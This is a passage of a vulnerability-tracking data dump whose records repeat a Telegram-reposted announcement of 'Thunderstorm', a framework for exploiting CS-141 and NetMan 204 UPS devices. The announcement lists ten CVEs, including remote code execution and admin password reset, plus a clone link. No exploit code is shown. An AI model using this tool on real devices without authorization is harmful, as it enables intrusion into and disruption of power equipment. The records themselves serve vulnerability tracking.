or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.126496Z"}, {"uuid": "319ae5f1-4903-4ec3-bad1-1f6954131d67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.159915Z"}, {"uuid": "4846108c-104a-4f0f-8666-1a0c29629494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-01T20:01:01.280442Z"}, {"uuid": "8ad8bddc-24d9-489b-a35b-5ddbc9fd9ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.152834Z"}, {"uuid": "b0d56788-f3ba-4377-a246-be736b9289ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.201527Z"}, {"uuid": "925e92e2-20aa-4983-85f9-720c834b9637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.251936Z"}, {"uuid": "f2a6ed71-fae0-415f-af64-02079c8067dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.306179Z"}, {"uuid": "e4200020-48ef-485d-9945-77385fa883a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.351618Z"}, {"uuid": "251c3478-3962-4dfb-8e4d-d58cfce6c796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.395106Z"}, {"uuid": "36d6cad0-3097-4d5e-8539-abfa67f0d40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.437233Z"}, {"uuid": "301a0b47-d9d3-4693-b894-cfeb1e8ea8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.473018Z"}, {"uuid": "92ed637c-faec-4264-b0d5-a63cb38ee518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.514059Z"}, {"uuid": "7a0c0a37-531e-43d4-85fd-7e0cb7f8fc72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.556069Z"}, {"uuid": "4c643b8e-2d57-43dc-9f27-fecd82cb3a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information 